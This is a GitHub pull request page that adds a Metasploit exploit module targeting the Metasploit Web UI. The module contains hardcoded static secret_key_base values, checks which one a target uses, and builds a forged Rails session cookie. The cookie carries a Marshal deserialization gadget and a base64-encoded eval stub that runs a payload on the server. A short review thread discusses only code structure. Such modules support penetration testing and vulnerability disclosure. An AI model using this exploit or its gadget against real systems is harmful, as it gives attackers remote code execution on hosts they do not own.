-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
add module metasploit_static_secret_key_base #7341
Merged
pbarry-r7
merged 4 commits into
rapid7:master
from
justinsteven:add_module_metasploit_static_secret_key_base
Sep 23, 2016
+312
−0
Merged
Changes from 1 commit
Commits
Show all changes
4 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
348 changes: 348 additions & 0 deletions
348
modules/exploits/multi/http/metasploit_static_secret_key_base.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,348 @@ | ||
## | ||
# This module requires Metasploit: http://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'msf/core' | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
#Helper Classes copy/paste from Rails4 | ||
class MessageVerifier | ||
|
||
class InvalidSignature < StandardError; end | ||
|
||
def initialize(secret, options = {}) | ||
@secret = secret | ||
@digest = options[:digest] || 'SHA1' | ||
@serializer = options[:serializer] || Marshal | ||
end | ||
|
||
def generate(value) | ||
data = ::Base64.strict_encode64(@serializer.dump(value)) | ||
"#{data}--#{generate_digest(data)}" | ||
end | ||
|
||
def generate_digest(data) | ||
require 'openssl' unless defined?(OpenSSL) | ||
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) | ||
end | ||
|
||
end | ||
|
||
class MessageEncryptor | ||
|
||
module NullSerializer #:nodoc: | ||
|
||
def self.load(value) | ||
value | ||
end | ||
|
||
def self.dump(value) | ||
value | ||
end | ||
|
||
end | ||
|
||
class InvalidMessage < StandardError; end | ||
|
||
OpenSSLCipherError = OpenSSL::Cipher::CipherError | ||
|
||
def initialize(secret, *signature_key_or_options) | ||
options = signature_key_or_options.extract_options! | ||
sign_secret = signature_key_or_options.first | ||
@secret = secret | ||
@sign_secret = sign_secret | ||
@cipher = options[:cipher] || 'aes-256-cbc' | ||
@verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer) | ||
# @serializer = options[:serializer] || Marshal | ||
end | ||
|
||
def encrypt_and_sign(value) | ||
@verifier.generate(_encrypt(value)) | ||
end | ||
|
||
def _encrypt(value) | ||
cipher = new_cipher | ||
cipher.encrypt | ||
cipher.key = @secret | ||
# Rely on OpenSSL for the initialization vector | ||
iv = cipher.random_iv | ||
#encrypted_data = cipher.update(@serializer.dump(value)) | ||
encrypted_data = cipher.update(value) | ||
encrypted_data << cipher.final | ||
[encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--") | ||
end | ||
|
||
def new_cipher | ||
OpenSSL::Cipher::Cipher.new(@cipher) | ||
end | ||
|
||
end | ||
|
||
class KeyGenerator | ||
|
||
def initialize(secret, options = {}) | ||
@secret = secret | ||
@iterations = options[:iterations] || 2**16 | ||
end | ||
|
||
def generate_key(salt, key_size=64) | ||
OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size) | ||
end | ||
|
||
end | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Metasploit Web UI Static secret_key_base Value', | ||
'Description' => %q{ | ||
This module exploits the Web UI for Metasploit Community, Express and | ||
Pro where one of a certain set of Weekly Releases have been applied. | ||
These Weekly Releases introduced a static secret_key_base value. | ||
Knowledge of the static secret_key_base value allows for | ||
deserialization of a crafted Ruby Object, achieving code execution. | ||
|
||
This module is based on | ||
exploits/multi/http/rails_secret_deserialization | ||
}, | ||
'Author' => | ||
[ | ||
'Justin Steven', # @justinsteven | ||
'joernchen of Phenoelit <joernchen[at]phenoelit.de>' # author of rails_secret_deserialization | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
['OVE', '20160904-0002'], | ||
['URL', 'https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401'], | ||
['URL', 'https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md'] | ||
], | ||
'DisclosureDate' => 'Sep 15 2016', | ||
'Platform' => 'ruby', | ||
'Arch' => ARCH_RUBY, | ||
'Privileged' => false, | ||
'Targets' => | ||
[ | ||
['Metasploit 4.12.0-2016061501 to 4.12.0-2016083001', | ||
{ | ||
'RAILSVERSION' => 4, # The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4) | ||
'HTTP_METHOD' => 'GET', # The HTTP request method (GET, POST, PUT typically work) | ||
'COOKIE_NAME' => '_ui_session', # The name of the session cookie | ||
'DIGEST_NAME' => 'SHA1', # The digest type used to HMAC the session cookie | ||
'SALTENC' => 'encrypted cookie', # The encrypted cookie salt | ||
'SALTSIG' => 'signed encrypted cookie', # The signed encrypted cookie salt | ||
'SECRETS' => [ | ||
'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7', # 4.12.0_2016061501 | ||
'99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc', # 4.12.0_2016062101 | ||
'446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde', # 4.12.0_2016072501 | ||
'61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a', # 4.12.0_2016081001 | ||
'23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32', # 4.12.0_2016081201 | ||
'18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615', # 4.12.0_2016083001 | ||
'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c' # unreleased build | ||
] | ||
} | ||
] | ||
], | ||
'DefaultTarget' => 0, | ||
'DefaultOptions' => | ||
{ | ||
'SSL' => true | ||
} | ||
)) | ||
|
||
register_options( | ||
[ | ||
Opt::RPORT(3790), | ||
OptString.new('TARGETURI', [ true, 'The path to the Metasploit Web UI', "/"]), | ||
], self.class) | ||
end | ||
|
||
|
||
# | ||
# This stub ensures that the payload runs outside of the Rails process | ||
# Otherwise, the session can be killed on timeout | ||
# | ||
def detached_payload_stub(code) | ||
%Q^ | ||
code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first | ||
if RUBY_PLATFORM =~ /mswin|mingw|win32/ | ||
inp = IO.popen("ruby", "wb") rescue nil | ||
if inp | ||
inp.write(code) | ||
inp.close | ||
end | ||
else | ||
Kernel.fork do | ||
eval(code) | ||
end | ||
end | ||
{} | ||
^.strip.split(/\n/).map{|line| line.strip}.join("\n") | ||
end | ||
|
||
def check_secret(data, digest, secret) | ||
data = Rex::Text.uri_decode(data) | ||
if target['RAILSVERSION'] == 3 | ||
sigkey = secret | ||
elsif target['RAILSVERSION'] == 4 | ||
keygen = KeyGenerator.new(secret,{:iterations => 1000}) | ||
sigkey = keygen.generate_key(target['SALTSIG']) | ||
end | ||
digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new(target['DIGEST_NAME']), sigkey, data) | ||
end | ||
|
||
def get_secret(data, digest) | ||
for secret in target['SECRETS'] | ||
return secret if check_secret(data, digest, secret) | ||
end | ||
nil | ||
end | ||
|
||
def rails_4(secret) | ||
keygen = KeyGenerator.new(secret,{:iterations => 1000}) | ||
enckey = keygen.generate_key(target['SALTENC']) | ||
sigkey = keygen.generate_key(target['SALTSIG']) | ||
crypter = MessageEncryptor.new(enckey, sigkey) | ||
crypter.encrypt_and_sign(build_cookie) | ||
end | ||
|
||
def rails_3(secret) | ||
# Sign it with the secret_token | ||
data = build_cookie | ||
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new("SHA1"), secret, data) | ||
marshal_payload = Rex::Text.uri_encode(data) | ||
"#{marshal_payload}--#{digest}" | ||
end | ||
|
||
def build_cookie | ||
|
||
# Embed the payload with the detached stub | ||
code = | ||
"eval('" + | ||
Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) + | ||
"'.unpack('m0').first)" | ||
|
||
if target['RAILSVERSION'] == 4 | ||
return "\x04\b" + | ||
"o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" + | ||
":\x0E@instanceo" + | ||
":\bERB\x07" + | ||
":\t@src"+ Marshal.dump(code)[2..-1] + | ||
":\x0c@lineno"+ "i\x00" + | ||
":\f@method:\vresult:" + | ||
"\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00" | ||
end | ||
if target['RAILSVERSION'] == 3 | ||
return Rex::Text.encode_base64 "\x04\x08" + | ||
"o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + | ||
":\x0E@instance" + | ||
"o"+":\x08ERB"+"\x07" + | ||
":\x09@src" + | ||
Marshal.dump(code)[2..-1] + | ||
":\x0c@lineno"+ "i\x00" + | ||
":\x0C@method"+":\x0Bresult" | ||
end | ||
end | ||
|
||
def check | ||
cookie_name = target['COOKIE_NAME'] | ||
|
||
vprint_status("Checking for cookie #{target['COOKIE_NAME']}") | ||
res = send_request_cgi({ | ||
'uri' => datastore['TARGETURI'] || "/", | ||
'method' => target['HTTP_METHOD'], | ||
}, 25) | ||
|
||
unless res | ||
return Exploit::CheckCode::Unknown # Target didn't respond | ||
end | ||
|
||
if res.get_cookies.empty? | ||
return Exploit::CheckCode::Unknown # Target didn't send us any cookies. We can't continue. | ||
end | ||
|
||
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) | ||
|
||
unless match | ||
return Exploit::CheckCode::Unknown # Target didn't send us a session cookie. We can't continue. | ||
end | ||
|
||
if match[1] == target['COOKIE_NAME'] | ||
vprint_status("Found cookie") | ||
else | ||
vprint_status("Adjusting cookie name to #{match[1]}") | ||
cookie_name = match[1] | ||
end | ||
|
||
vprint_status("Searching for proper SECRET") | ||
|
||
if get_secret(match[2], match[3]) | ||
Exploit::CheckCode::Appears | ||
else | ||
Exploit::CheckCode::Safe | ||
end | ||
end | ||
|
||
# | ||
# Send the actual request | ||
# | ||
def exploit | ||
cookie_name = target['COOKIE_NAME'] | ||
|
||
print_status("Checking for cookie #{target['COOKIE_NAME']}") | ||
|
||
res = send_request_cgi({ | ||
'uri' => datastore['TARGETURI'] || "/", | ||
'method' => target['HTTP_METHOD'], | ||
}, 25) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, "Target didn't respond") | ||
end | ||
|
||
if res.get_cookies.empty? | ||
fail_with(Failure::UnexpectedReply, "Target didn't send us any cookies. We can't continue.") | ||
end | ||
|
||
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) | ||
|
||
unless match | ||
fail_with(Failure::UnexpectedReply, "Target didn't send us a session cookie. We can't continue.") | ||
end | ||
|
||
if match[1] == target['COOKIE_NAME'] | ||
vprint_status("Found cookie") | ||
else | ||
print_status("Adjusting cookie name to #{match[1]}") | ||
cookie_name = match[1] | ||
end | ||
|
||
print_status("Searching for proper SECRET") | ||
|
||
secret = get_secret(match[2], match[3]) | ||
|
||
unless secret | ||
fail_with(Failure::NotVulnerable, "SECRET not found, target not vulnerable?") | ||
end | ||
|
||
if target['RAILSVERSION'] == 3 | ||
cookie = rails_3(secret) | ||
elsif target['RAILSVERSION'] == 4 | ||
cookie = rails_4(secret) | ||
end | ||
|
||
print_status "Sending cookie #{cookie_name}" | ||
res = send_request_cgi({ | ||
'uri' => datastore['TARGETURI'] || "/", | ||
'method' => target['HTTP_METHOD'], | ||
'headers' => {'Cookie' => cookie_name+"="+ cookie}, | ||
}, 25) | ||
|
||
handler | ||
end | ||
|
||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
we probably don't need this configurability unless we're going to add more targets
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You're probably right. I tried to avoid changing the plumbing from rails_secret_deserialization to maintain parity (e.g. Leaving in the rails3 stuff as dead code) and wanted to avoid having magic values (e.g. The salt) inlined in the code. Should the dead code should be removed at the cost of parity? If the magic values don't belong in the target, should they be inlined in the code, or defined somewhere else?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think if you want parity, it follows that it should just extend the original module with this as a selectable target, rather than being introduced as a separate module. If this is going to be a separate module, ideally the common code moves to lib or a mixin.
Barring that, for a one-off, I'd optimize out the dead code. It's unlikely someone's going to update a working version-specific exploit just because a more generic exploit added a feature.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I thought of that, but decided it'd inhibit discoverability
Probably the way to go, especially if we keep cranking static
secret_key_base
modules out. OTOH these should die out with the Rails session cookie deserializer now defaulting to JSON.Sounds good to me, I'll get on it